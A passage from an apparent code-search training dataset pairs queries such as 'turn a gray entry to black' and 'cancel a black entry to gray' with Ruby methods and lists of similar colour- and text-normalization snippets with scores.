"def display_color\n if @deleted\n return '#FF0000' # Red\n elsif !@enabled\n return '#AAAAAA' # Gray\n end\n \n '#000000'\n end",
"def binary\n r, g, b, a = self.to_a\n sum = r + g + b\n return (sum < 382)? self.new_extended_color([0,0,0,a]) : self.new_extended_color([255,255,255,a])\n end",
"def grayscale(c)\n (c[0]*0.3 + c[1]*0.59 + c[2]*0.11).to_i\n end",
"def red\n colorize(31)\n end",
"def check_for_black_and_white\n checker = true\n self.exam_images.each do |image|\n if image.image_black_and_white == nil\n checker = false\n end\n end\n\n self.update(processed_black_and_white: checker)\n end",
"def yellow \n\t\tlight COLOR_KEY_YELLOW\n\tend",
"def to_s( )\n\t\tif @color == :white then \"K\" else \"k\" end\n\tend",
"def red=(num)\n @red = constrain num, 0..255\n end",
"def blacks\n matrix.select { |piece| piece && piece.color == :b }\n end",
"def shades_of_grey(n)\n 1.upto([254,n].min).map {|i| p format '#%02x%02x%02x', i, i, i}\nend",
"def converse_bit(pixel) \n\t\tpixel.red /= 257\n\t\tpixel.green /= 257\n\t\tpixel.blue /= 257\n\t\t\n\tend",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def grayscale_alpha(teint, a)\n teint << 24 | teint << 16 | teint << 8 | a\n end",
"def grayscale_alpha(teint, a)\n teint << 24 | teint << 16 | teint << 8 | a\n end",
"def forward\n\t\tcase color\n\t\twhen :white\n\t\t\t1\n\t\twhen :black\n\t\t\t-1\n\t\tend\n\tend",
"def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.opacity = 255\n update_origin\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def red\n\t\tlight COLOR_KEY_RED\n\tend",
"def black?(hex)\n hex == \"#000000\"\n end",
"def row_all_white?(image, row)\n pixels = image.get_pixels(0, row, image.columns, 1)\n i = 0\n pixels.each do |p|\n return false unless p.to_color == \"white\"\n i += 1\n end\n return true\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def dampen_color(color)\n return \"#CC9933\" if color == \"#EBE129\" # Yellow\n return \"#CD32AA\" if color == \"#CCA6FC\" # Pinkish\n color\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end"
] | [
"0.76192683",
"0.72442156",
"0.68534315",
"0.6730867",
"0.65915555",
"0.65083206",
"0.63472074",
"0.6335894",
"0.62846035",
"0.62692386",
"0.62544256",
"0.61990064",
"0.5952079",
"0.59362036",
"0.5896998",
"0.58859175",
"0.5861792",
"0.583852",
"0.5828988",
"0.58006966",
"0.57812715",
"0.5780526",
"0.57650304",
"0.57520807",
"0.5746688",
"0.5742566",
"0.57417285",
"0.5733014",
"0.5684024",
"0.5684024",
"0.5663381",
"0.5656489",
"0.56505585",
"0.565037",
"0.565037",
"0.5590767",
"0.5590767",
"0.5573242",
"0.5559819",
"0.5559819",
"0.5550187",
"0.5550187",
"0.5532362",
"0.55246913",
"0.5489229",
"0.5482558",
"0.548032",
"0.5472123",
"0.545682",
"0.54502964",
"0.5447272",
"0.54375774",
"0.5432285",
"0.542775",
"0.54248285",
"0.5419524",
"0.54178935",
"0.54063535",
"0.5404972",
"0.53959346",
"0.53741896",
"0.5369078",
"0.53532636",
"0.5349729",
"0.5333316",
"0.5326335",
"0.5320101",
"0.5319327",
"0.5318741",
"0.53139603",
"0.5309607",
"0.5302815",
"0.5298308",
"0.52973324",
"0.52968884",
"0.5287018",
"0.5286001",
"0.5280605",
"0.52733064",
"0.52730364",
"0.5260367",
"0.52600974",
"0.52559644",
"0.52524304",
"0.52481717",
"0.52435696",
"0.52403367",
"0.52403367",
"0.5238823",
"0.52327275",
"0.5220076",
"0.5220076",
"0.5217875",
"0.5214456",
"0.521093",
"0.5198696",
"0.5198696",
"0.51967925",
"0.5190378",
"0.5190378"
] | 0.87834173 | 0 |
turn a gray entry to black | def turn_to_black(entry)
raise "Only a gray entry can be turned to black" unless entry.mode == Entry::MODE_GRAY
entry.be_black!
decrement!(:entries_num)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def turn_to_white(entry)\n\t\traise \"Only a gray entry can be turned to white\" unless entry.mode == Entry::MODE_GRAY\n\t\tentry.be_white!\n\tend",
"def cancel_black(entry)\n\t\traise \"Ony a black entry can be canceled to gray\" unless entry.mode == Entry::MODE_BLACK\n\t\tentry.be_gray!\n\t\tincrement!(:entries_num)\n\tend",
"def opposite_color\n @base.brightness > 0.5 ? black : white\n end",
"def black_and_white\n @photo = Photo.find(params[:id])\n img = Magick::Image.read('public' + @photo.attachment_url).first\n img = img.quantize(256, Magick::GRAYColorspace)\n img.write('public' + @photo.attachment_url)\n end",
"def filter_color(col)\n col =~ /transparent|false/i ? nil : col\n end",
"def white\n colorize(37)\n end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def blacks\n matrix.select { |piece| piece && piece.color == :b }\n end",
"def black?\n @color == :black\n end",
"def remove_black_color(env)\n node = env[:node]\n return unless node.element?\n return unless node.attr('style').present?\n node['style'] = node['style'].gsub(/(?<!background-)(color:#000000;?)/, '')\n end",
"def gray=(val)\n @r = @g = @b = g\n end",
"def red?\n not black?\n end",
"def gray?\n colorspace == \"gray\"\n end",
"def constrain_to_colors(array)\n array[0] > 255 ? array[0] = 255 : array[0] < 0 ? array[0] = 0 : array[0]\n array[1] > 255 ? array[1] = 255 : array[1] < 0 ? array[1] = 0 : array[1]\n array[2] > 255 ? array[2] = 255 : array[2] < 0 ? array[2] = 0 : array[2]\n return array\n end",
"def draw_greyscale_pixel(col,row, teint)\n\t\t@image[ col,row ] = ChunkyPNG::Color.grayscale(teint)\t\t\n\tend",
"def darker(k=1)\n k = 0.7 ** k\n Rubyvis.rgb(\n [0, (k * r).floor].max,\n [0, (k * g).floor].max,\n [0, (k * b).floor].max,\n a)\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def black?(hex)\n hex == \"#000000\"\n end",
"def white!\n self.color = :white\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def colorize!; @colors = true; end",
"def black_and_white?\n entries == [ChunkyPNG::Color::BLACK, ChunkyPNG::Color::WHITE]\n end",
"def colorized?; end",
"def binarization(color, threshold)\n mid = ((color.red / 257) + (color.green / 257) + (color.blue / 257)) / 3\n return mid > threshold ? \"#fff\" : '#000'\nend",
"def monochrome! \n\t\treturn @image = @image.quantize(2, Magick::GRAYColorspace) \n\tend",
"def grayscale(teint)\n teint << 24 | teint << 16 | teint << 8 | 0xff\n end",
"def grayscale(teint)\n teint << 24 | teint << 16 | teint << 8 | 0xff\n end",
"def crisis_color\n return Color.new(255, 255, 64)\n end",
"def grayscale(c)\n (c[0]*0.3 + c[1]*0.59 + c[2]*0.11).to_i\n end",
"def piece_color(piece); ((piece.color == :white) ? \"#FFEED5\" : \"#063848\") end",
"def normal_color\n #return Color.new(255,255,255)\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def get_color(gray_pixel)\n Color.r(gray_pixel)\nend",
"def darken(value=0)\n return self.brighten(-value)\n end",
"def set(color)\n color == :w ? whites : blacks\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def white\n find color: :white\n end",
"def black_bitmap\n bitmap = Bitmap.new(80, 60)\n bitmap.fill_rect(0,0,80,60,Color.new(10,10,10))\n return bitmap\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def invert\n r = 1.0 - self.red\n g = 1.0 - self.green\n b = 1.0 - self.blue\n a = self.alpha\n UIColor.colorWithRed(r, green:g, blue:b, alpha:a)\n end",
"def white?\n color == \"white\"\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def white; return self.trays[Hive::Color[:white]]; end",
"def converse_bit(pixel) \n\t\tpixel.red /= 257\n\t\tpixel.green /= 257\n\t\tpixel.blue /= 257\n\t\t\n\tend",
"def red\n colorize(31)\n end",
"def auxiliary_colour\n @cr[0xe] >> 4\n end",
"def milight_adjust_color(r,g,b)\n\t\tif r == 100 && g == 100 && b == 100\n\t\t\t$bridge.white\n\t\telse\n\t\t\t$bridge.color(Color::RGB.from_percentage(r, g, b)) \n\t\tend\n\tend",
"def text_color(threshold=0.6, formula=:standard)\n brightness(formula) > threshold ? Colorist::Color.new(0x000000) : Colorist::Color.new(0xffffff)\nend",
"def green\n colorize(32)\n end",
"def strip_color(text)\n text.to_s.gsub(/(\\001)?\\e\\[.*?(\\d)+m(\\002)?/ , '')\n end",
"def light_colour\n\t\t\tOmniboard::Colour.new(0).light\n\t\tend",
"def strip_color(text)\n text.to_s.gsub(/(\\001)?\\e\\[.*?(\\d)+m(\\002)?/, '')\n end",
"def decolorize\r\n self.gsub(/\\[0;\\d\\d;\\d\\dm([^\\[]*)\\[0m/) { $1 }\r\n end",
"def decolorize\r\n self.gsub(/\\[0;\\d\\d;\\d\\dm([^\\[]*)\\[0m/) { $1 }\r\n end",
"def foreground_fill\n red = background_fill[1..2].to_i(16)\n green = background_fill[3..4].to_i(16)\n blue = background_fill[5..6].to_i(16)\n (red * 0.299 + green * 0.587 + blue * 0.114) > 186 ? '#000000' : '#FFFFFF'\n end",
"def strip_color_codes(text); end",
"def show\n @bg_gray = true\n\n end",
"def invert\n Color.new(255 - @red, 255 - @green, 255 - @blue, @alpha)\n end",
"def text_color_for_image(image)\n dominant = dominant_color(image)\n brightness = brightness(dominant)\n # Por ahora sólo devolvemos blanco o negro.\n # Si lo vemos muy feo, pensar una solución\n # más inteligente.\n if brightness < 255 / 2\n \"#fff\"\n else\n \"#000\"\n end\n end",
"def binary\n r, g, b, a = self.to_a\n sum = r + g + b\n return (sum < 382)? self.new_extended_color([0,0,0,a]) : self.new_extended_color([255,255,255,a])\n end",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def swap_colors(map)\n self.bitmap.swapColors(map) if self.bitmap\n end",
"def grayscale\n Color.new(self).tap do |val|\n val.r = val.g = val.b = (0.2126 * val.r + 0.7152 * val.g + 0.0722 * val.b)\n end\n end",
"def grayscale_entry(bit_depth)\n value = ChunkyPNG::Canvas.send(:\"decode_png_resample_#{bit_depth}bit_value\", content.unpack(\"n\")[0])\n ChunkyPNG::Color.grayscale(value)\n end",
"def rgb_color; end",
"def darken(amt = BRIGHTNESS_DEFAULT)\n return self if amt <= 0\n return BLACK if amt >= 1.0\n Color.new(self).tap do |val|\n val.r -= (val.r * amt).to_i\n val.g -= (val.g * amt).to_i\n val.b -= (val.b * amt).to_i\n end\n end",
"def color_of(location)\n black_squares.include?(location) ? :black : :white\n end",
"def text_color(threshold=0.6, formula=:standard)\n brightness(formula) > threshold ? Colorist::Color.new(0x000000) : Colorist::Color.new(0xffffff)\n end",
"def background_colour\n @cr[0xf] >> 4\n end",
"def normal_color\n return Color.new(255, 255, 255)\n end",
"def bold_red(output)\n color('1;31', output)\n end",
"def grayscale\n with_command \"-type Grayscale\"\n end",
"def dark; end",
"def dark; end",
"def grayscale!\n set(grayscale)\n end",
"def scan_for_colors; end",
"def colorize(color)\n return false if !self.bitmap\n bmp = self.bitmap.clone\n self.bitmap = Bitmap.new(bmp.width,bmp.height)\n for x in 0...bmp.width\n for y in 0...bmp.height\n pixel = bmp.get_pixel(x,y)\n self.bitmap.set_pixel(x,y,color) if pixel.alpha > 0\n end\n end\n end",
"def shades_of_grey(n)\n 1.upto([254,n].min).map {|i| p format '#%02x%02x%02x', i, i, i}\nend",
"def crisis_color\n return text_color(17)\n end",
"def red(output)\n color(31, output)\n end",
"def swapColors(map)\n self.bitmap.swapColors(map) if self.bitmap\n end",
"def check_for_black_and_white\n checker = true\n self.exam_images.each do |image|\n if image.image_black_and_white == nil\n checker = false\n end\n end\n\n self.update(processed_black_and_white: checker)\n end",
"def bw_reversed(color)\n color = chop_hash(color)\n luminance(color) < REVERSE_THRESHOLD ? \"#ffffff\" : '#000000'\n end",
"def truecolor_entry(bit_depth)\n decode_method_name = :\"decode_png_resample_#{bit_depth}bit_value\"\n values = content.unpack(\"nnn\").map { |c| ChunkyPNG::Canvas.send(decode_method_name, c) }\n ChunkyPNG::Color.rgb(*values)\n end",
"def to_true_color\n self\n end",
"def safe_colorize_deactive\n CLIColorize.off\n end",
"def color(color); end",
"def green=(_); end",
"def switch_background(color)\n color == [248,250,210] ? [215,188,149] : [248,250,210]\n end",
"def uncolored\n map {|n| n.to_s.uncolored}\n end",
"def to_grayscale\n l = luminosity\n self.class.new(l, l, l)\n end",
"def to_grayscale(formula=:w3c)\n b = brightness(formula)\n Color.from_rgb(255 * b, 255 * b, 255 * b)\n end",
"def to_grayscale(formula=:w3c)\n b = brightness(formula)\n Color.from_rgb(255 * b, 255 * b, 255 * b)\n end",
"def handle_gray_booms!\n return if @pending_gray_boom_tile_lays.values.flatten.empty?\n\n # clear gray double boom city actions, no tiles remain\n if (num_double_boom_tiles = gray_double_boomcity_tile_count).zero?\n @pending_gray_boom_tile_lays[:double_boom].clear\n\n # there are enough gray double boom city tiles, automatically lay them\n elsif num_double_boom_tiles >= @pending_gray_boom_tile_lays[:double_boom].size\n @pending_gray_boom_tile_lays[:double_boom].each do |hex|\n boomcity_to_double_boomcity!(hex, gray_checked: true)\n end\n end\n\n # clear pending gray boom city tile lays, no tiles remain\n if gray_boomcity_tile_potential_count.zero?\n @pending_gray_boom_tile_lays[:boom].clear\n\n # there are enough gray boom city tiles, automatically lay them\n elsif gray_boomcity_tile_count >= @pending_gray_boom_tile_lays[:boom].size\n @pending_gray_boom_tile_lays[:boom].each do |hex|\n boomtown_to_boomcity!(hex, gray_checked: true)\n end\n end\n end",
"def remove_colors\n gsub(/\\e\\[\\d+m/, '')\n end"
] | [
"0.7797748",
"0.75115925",
"0.6641252",
"0.66394764",
"0.65816045",
"0.6565367",
"0.6558141",
"0.6558141",
"0.6283044",
"0.6276112",
"0.6149354",
"0.6124538",
"0.61047447",
"0.60704416",
"0.6023583",
"0.600836",
"0.59670526",
"0.5965099",
"0.5965099",
"0.59643584",
"0.59512293",
"0.5901346",
"0.5901346",
"0.58936137",
"0.58843595",
"0.5850596",
"0.5844737",
"0.58339196",
"0.5818403",
"0.5818403",
"0.5811079",
"0.5808895",
"0.5802751",
"0.5772601",
"0.577252",
"0.5753017",
"0.57507306",
"0.57502973",
"0.5739047",
"0.5739047",
"0.57207334",
"0.56939137",
"0.5686175",
"0.567007",
"0.5664531",
"0.56515723",
"0.56515723",
"0.564968",
"0.56446695",
"0.5634583",
"0.5626124",
"0.5620783",
"0.56021833",
"0.5602066",
"0.5591562",
"0.55896765",
"0.55795324",
"0.5567142",
"0.5567142",
"0.5551688",
"0.5544208",
"0.5543254",
"0.5541979",
"0.55389696",
"0.55345017",
"0.5533576",
"0.55299413",
"0.5528102",
"0.55261844",
"0.5523328",
"0.5519923",
"0.5508757",
"0.55060905",
"0.54994464",
"0.54937553",
"0.54731506",
"0.54724884",
"0.5471485",
"0.5471485",
"0.54663086",
"0.5464904",
"0.54644686",
"0.5459301",
"0.5458205",
"0.5448839",
"0.5442911",
"0.5441664",
"0.5432346",
"0.5429743",
"0.5424713",
"0.5416948",
"0.54166853",
"0.54164636",
"0.5415169",
"0.54115504",
"0.5411102",
"0.5407064",
"0.5407064",
"0.5404671",
"0.5396074"
] | 0.85430205 | 0 |
cancel a black entry to gray | def cancel_black(entry)
raise "Ony a black entry can be canceled to gray" unless entry.mode == Entry::MODE_BLACK
entry.be_gray!
increment!(:entries_num)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def turn_to_black(entry)\n\t\traise \"Only a gray entry can be turned to black\" unless entry.mode == Entry::MODE_GRAY\n\t\tentry.be_black!\n\t\tdecrement!(:entries_num)\n\tend",
"def safe_colorize_deactive\n CLIColorize.off\n end",
"def turn_to_white(entry)\n\t\traise \"Only a gray entry can be turned to white\" unless entry.mode == Entry::MODE_GRAY\n\t\tentry.be_white!\n\tend",
"def cancel\n # clear the Gtk::Entry\n @search_entry.set_text(\"\")\n\n # Colorize the Gtk::Entry\n state(CLEAR)\n\n # Refresh the modules treeview\n $gtk2driver.module_tree.refresh\n\n # Register the current state\n @@state = CLEAR\n end",
"def disable_color\n return translate_color(7)\n end",
"def no_color\n reset_prev_formatting self, :color\n end",
"def uncolorize\n @uncolorized || self\n end",
"def opposite_color\n @base.brightness > 0.5 ? black : white\n end",
"def disable_colorization=(value); end",
"def filter_color(col)\n col =~ /transparent|false/i ? nil : col\n end",
"def disable_colorization(value = T.unsafe(nil)); end",
"def red?\n not black?\n end",
"def clear\n self.color = COLOR_CLEAR unless self.color == COLOR_CLEAR\n end",
"def onCancel(flag, view)\n self.reset(view)\n \tSketchup.undo\n end",
"def white!\n self.color = :white\n end",
"def no_color(&block)\n block.call\n end",
"def no_color\n add option: \"-no-color\"\n end",
"def off\n color(:passive)\n end",
"def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.ox = @cw/2\n self.opacity = 255\n end",
"def remove_black_color(env)\n node = env[:node]\n return unless node.element?\n return unless node.attr('style').present?\n node['style'] = node['style'].gsub(/(?<!background-)(color:#000000;?)/, '')\n end",
"def maybe_no_color(toggle:)\n toggle and no_color or self\n end",
"def state(state)\n if (state == RUNNING)\n @search_entry.modify_base(Gtk::STATE_NORMAL, Gdk::Color.parse('gray'))\n elsif (state == CLEAR)\n @search_entry.modify_base(Gtk::STATE_NORMAL, Gdk::Color.parse('white'))\n end\n end",
"def undo!\n bb = @stack.pop\n set_black(bb[:black])\n set_white(bb[:white])\n end",
"def no_colors\n @style = {\n :title => nil,\n :header => nil,\n :value => nil\n }\n @no_colors = true\n end",
"def red=(_); end",
"def disable_colour\n @colour.disable_colours\nend",
"def green=(_); end",
"def cancel_move\n @cursor.active = true\n @active_battler.moveto(@pre_x, @pre_y)\n clear_tr_sprites\n draw_ranges(@active_battler, 3)\n end",
"def decolorize!\n gsub!(/\\e\\[\\d+[;\\d]*m/, '')\n self\n end",
"def decolorize\n dup.decolorize!\n end",
"def decolorize\n dup.decolorize!\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def reset!\n @color = @@colors[:white]\n end",
"def disable_colorization=(value)\n @disable_colorization = (value || false)\n end",
"def setDefaultColor\n self.changeColor A_NORMAL, COLOR_WHITE, COLOR_BLACK\n end",
"def white\n colorize(37)\n end",
"def red\n end",
"def reset_use_color\n @use_color = true\n end",
"def cancel; end",
"def cancel; end",
"def no_bg_color\n reset_prev_formatting self, :bg_color\n end",
"def safe_colorize_active\n CLIColorize.on\n end",
"def revert_unit_colors\n $game_map.units.each{|u|\n next if @unit_sprites[u.sprite_id].disposed?\n @unit_sprites[u.sprite_id].color.set(0, 0, 0, 0)\n u.acted = false\n }\n end",
"def cancel_command()\n @command_window.active = true\n end",
"def cancel_attack\n @windows[Win_Status].clear_dmg_preview\n @cursor.active = true \n end",
"def undo\n light.off\n end",
"def unhighlight\n perform_action(:delete, 'highlight')\n end",
"def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.opacity = 255\n update_origin\n end",
"def colorized?; end",
"def complement\n newvalues = self.rgba[0..-2].map {|v| Range.O.complement( v )}\n newvalues += [self.a]\n return Color[ *newvalues ]\n end",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def disabled_color\n return Color.new(255, 255, 255, 128)\n end",
"def red(text)\n colorize text, \"\\033[1;31m\"\n end",
"def black?\n @color == :black\n end",
"def decolorize\r\n self.gsub(/\\[0;\\d\\d;\\d\\dm([^\\[]*)\\[0m/) { $1 }\r\n end",
"def decolorize\r\n self.gsub(/\\[0;\\d\\d;\\d\\dm([^\\[]*)\\[0m/) { $1 }\r\n end",
"def blue=(_); end",
"def cancel\n self.update_status :cancelled\n end",
"def decolorize!\n gsub! /\\e\\[\\d+[;\\d]*m/, ''\n self\n end",
"def red\n colorize \"\\033[31m\"\n end",
"def ✘\n colorize(\"✘\", :red)\n end",
"def cancel\n raise CancelInterpolation.new\n end",
"def cancel!; end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def unvisited_color\n { r: 221, g: 212, b: 213 }\n end",
"def closed!\n @color = @@colors[:lightcyan]\n end",
"def invert\n r = 1.0 - self.red\n g = 1.0 - self.green\n b = 1.0 - self.blue\n a = self.alpha\n UIColor.colorWithRed(r, green:g, blue:b, alpha:a)\n end",
"def on_49(_) { fg: fg_color(9) } end",
"def cancel\n end",
"def cancel\n end",
"def Danger(color)\n king = KingOfTheJungle(color)\n check = false\n grid.at_exit do |p|\n if p && p != color && p(king)\n puts \"Dem Check Marks\"\n check = true\n end\n end\n check\n end",
"def reset_color\n \"\\e[#{COLORS[:reset]}m\"\n end",
"def picked_wrong_color(picked_color)\n color != picked_color\n end",
"def hide\n call Screen.setColor(false)\n call draw\n end",
"def strip_color(text)\n text.to_s.gsub(/(\\001)?\\e\\[.*?(\\d)+m(\\002)?/, '')\n end",
"def red; end",
"def red; end",
"def constrain_to_colors(array)\n array[0] > 255 ? array[0] = 255 : array[0] < 0 ? array[0] = 0 : array[0]\n array[1] > 255 ? array[1] = 255 : array[1] < 0 ? array[1] = 0 : array[1]\n array[2] > 255 ? array[2] = 255 : array[2] < 0 ? array[2] = 0 : array[2]\n return array\n end",
"def matte_reset!\n alpha(TransparentAlphaChannel)\n self\n end",
"def invert\n Color.new(255 - @red, 255 - @green, 255 - @blue, @alpha)\n end",
"def cancel_current_tuple_entry\n current_tuple_entry.cancel if current_tuple_entry\n end",
"def colorize!; @colors = true; end",
"def strip_color(text)\n text.to_s.gsub(/(\\001)?\\e\\[.*?(\\d)+m(\\002)?/ , '')\n end",
"def cancel_frame\n end",
"def uncolor(string)\n Style.uncolor(string)\n end",
"def check_state\n [Hive::Color[:white],Hive::Color[:black]].collect{|color|\n abort(\"#{$game.turn?} won!\") if self.trays[color].queen.is_surrounded?\n }\n end",
"def red=(num)\n @red = constrain num, 0..255\n end",
"def switch_background(color)\n color == [248,250,210] ? [215,188,149] : [248,250,210]\n end",
"def on_gold_cancel\n Sound.play_cancel\n if @storage_category == false && @storage_gold == true\n @command_window.activate\n else\n start_category_selection\n end\n @gold_window.hide\n end",
"def handle_invalid_input(comment = \"Input was not recognized.\")\n clear \n\n puts Rainbow(\"Input was invalid: #{comment}\\n\\n\").red\nend",
"def reset\n # color is enabled by default, can be turned of by switch --no-color\n Term::ANSIColor.coloring = true\n end",
"def backgroundTouched\n @edit_label.resignFirstResponder\n end",
"def color_reset!(fill)\n save = background_color\n # Change the background color _outside_ the begin block\n # so that if this object is frozen the exeception will be\n # raised before we have to handle it explicitly.\n self.background_color = fill\n begin\n erase!\n ensure\n self.background_color = save\n end\n self\n end",
"def invalidate_color_components\n @color_components = nil\n end",
"def invalidate_color_components\n @color_components = nil\n end",
"def strip_color\n return self.gsub(/\\e\\[0;[39]\\d;49m/, '').gsub(/\\e\\[0m/, '')\n end",
"def white; return self.trays[Hive::Color[:white]]; end"
] | [
"0.7253252",
"0.6806319",
"0.67141515",
"0.6550353",
"0.6340775",
"0.6270994",
"0.609823",
"0.60920995",
"0.60874283",
"0.60336524",
"0.60202163",
"0.6017151",
"0.5893231",
"0.5872357",
"0.581119",
"0.57405347",
"0.571675",
"0.5708805",
"0.56946933",
"0.5683745",
"0.5659697",
"0.5634899",
"0.5630489",
"0.56007016",
"0.5593372",
"0.5590193",
"0.5589325",
"0.5557969",
"0.5534204",
"0.5502613",
"0.5502613",
"0.5490258",
"0.5490258",
"0.5470526",
"0.5448751",
"0.54428",
"0.54424554",
"0.5436376",
"0.5435065",
"0.54297495",
"0.54297495",
"0.54292804",
"0.5425685",
"0.5425097",
"0.5424906",
"0.5416794",
"0.5410545",
"0.54045534",
"0.5403112",
"0.5392999",
"0.5387252",
"0.53806615",
"0.53784144",
"0.53712976",
"0.5365378",
"0.536306",
"0.536306",
"0.53610444",
"0.5354777",
"0.5340407",
"0.5339089",
"0.5332018",
"0.53291625",
"0.5327589",
"0.53206223",
"0.53206223",
"0.53154576",
"0.53154576",
"0.5312254",
"0.53079635",
"0.5305953",
"0.53011674",
"0.53011674",
"0.52981526",
"0.5296713",
"0.5296083",
"0.5290087",
"0.528569",
"0.5284907",
"0.5284907",
"0.5272757",
"0.5265212",
"0.5263567",
"0.526286",
"0.5259384",
"0.52518064",
"0.52515006",
"0.5244617",
"0.5237727",
"0.5236826",
"0.5231681",
"0.52309126",
"0.5221346",
"0.5213377",
"0.52111363",
"0.5208469",
"0.51976407",
"0.51976407",
"0.51900774",
"0.51896656"
] | 0.8708618 | 0 |
Get typographic normalization of an input text using an analyzer of ElasticSearch. (string) text Input text. | def normalize1(text, analyzer = nil)
Entry.normalize(text, normalizer1, analyzer)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pre_normalize(text); end",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text\n end",
"def normalize2(text, analyzer = nil)\n\t\tEntry.normalize(text, normalizer2, analyzer)\n\tend",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text.gsub!(/\\btoday\\b/, 'this day')\n normalized_text.gsub!(/\\btomm?orr?ow\\b/, 'next day')\n normalized_text.gsub!(/\\byesterday\\b/, 'last day')\n normalized_text.gsub!(/\\bnoon\\b/, '12:00')\n normalized_text.gsub!(/\\bmidnight\\b/, '24:00')\n normalized_text.gsub!(/\\bbefore now\\b/, 'past')\n normalized_text.gsub!(/\\bnow\\b/, 'this second')\n normalized_text.gsub!(/\\b(ago|before)\\b/, 'past')\n normalized_text.gsub!(/\\bthis past\\b/, 'last')\n normalized_text.gsub!(/\\bthis last\\b/, 'last')\n normalized_text.gsub!(/\\b(?:in|during) the (morning)\\b/, '\\1')\n normalized_text.gsub!(/\\b(?:in the|during the|at) (afternoon|evening|night)\\b/, '\\1')\n normalized_text.gsub!(/\\btonight\\b/, 'this night')\n normalized_text.gsub!(/(?=\\w)([ap]m|oclock)\\b/, ' \\1')\n normalized_text.gsub!(/\\b(hence|after|from)\\b/, 'future')\n normalized_text = numericize_ordinals(normalized_text)\n end",
"def normalize_text(text)\n letters = text.upcase.split ''\n letters.delete_if { |x| ! @table[0].include?(x) }\n letters.join ''\n end",
"def normalize(string); end",
"def normalizer; end",
"def normalize( text )\n text.gsub(/\\s/,'').gsub(/[[:punct:]]/, '').gsub(/\\p{S}/,'').downcase\nend",
"def normalize(text)\n text.downcase.split(\"\").map! {|i| i if ('a'..'z').include?(i) || i == \" \"}.join.split(\" \")\nend",
"def tokenize_text(text)\n data = Doc.new(text)\n featurize(data)\n classify(data)\n return data.segment\n end",
"def normalize(str) return str end",
"def normalize(text)\n text.downcase.gsub(\"'\",\"\").gsub(/[^a-z ]/, ' ').split\nend",
"def analyze_raw(txt)\n stem_freq = {}\n stem_lead = {}\n \n returning Hash.new(0) do |dict|\n txt.downcase.split(/[\\s,;!\\?]+/).each do |w|\n # Apply some custom rejection conditions\n next if skip_word?(w)\n # strip non-words chars\n w.gsub!(/[\"\\(\\)\\.]+/, '')\n dict[w] += 1\n end\n\n # Peform stemming analysis\n dict.each do |w, freq|\n @stems[w] ||= @stemmer.stem(w)\n (stem_freq[@stems[w]] ||= {})[w] = freq\n end\n \n stem_freq.each_key do |stem|\n #puts \"Analyzing stem #{stem}\"\n total_freq = 0\n lead_freq = 0\n lead_word = \"\"\n \n #puts \"stems => #{stem_freq[stem].inspect}\"\n stem_freq[stem].each do |word, freq|\n total_freq += freq\n if freq > lead_freq\n lead_word = word\n lead_freq = freq\n end\n end\n #puts \"lead word => #{lead_word} (#{total_freq})\"\n stem_lead[lead_word] = total_freq\n end\n # Replace word frequency hash with leading stem frequency hash\n dict = stem_lead\n end\n end",
"def tokenize_text(text)\n data = Doc.new(text)\n featurize(data)\n classify(data)\n return data.segment\n end",
"def improve(text)\n return Typogruby.improve(text.to_s)\n end",
"def normalize(slug_text)\n s = slug_text.clone\n s.gsub!(/[\\?‘’'“”\",.;:]/, '')\n s.gsub!(/\\W+/, ' ')\n s.strip!\n s.downcase!\n s.gsub!(/\\s+/, '-')\n s.gsub(/-\\Z/, '')\n end",
"def preprocess_text(text)\n\n # Warn user if text exceeds max_length.\n if text.length > @max_length\n text = text[0..@max_length]\n warn(\"WARNING:: string cut length > #{@max_length}:\\n\")\n warn('text:: '+text)\n end\n\n text = @encoder.clean(text)\n text = remove_diacritics(text)\n\n # correct expected length for vectors with 0's\n @encoder.input_to_sequence(text)\n end",
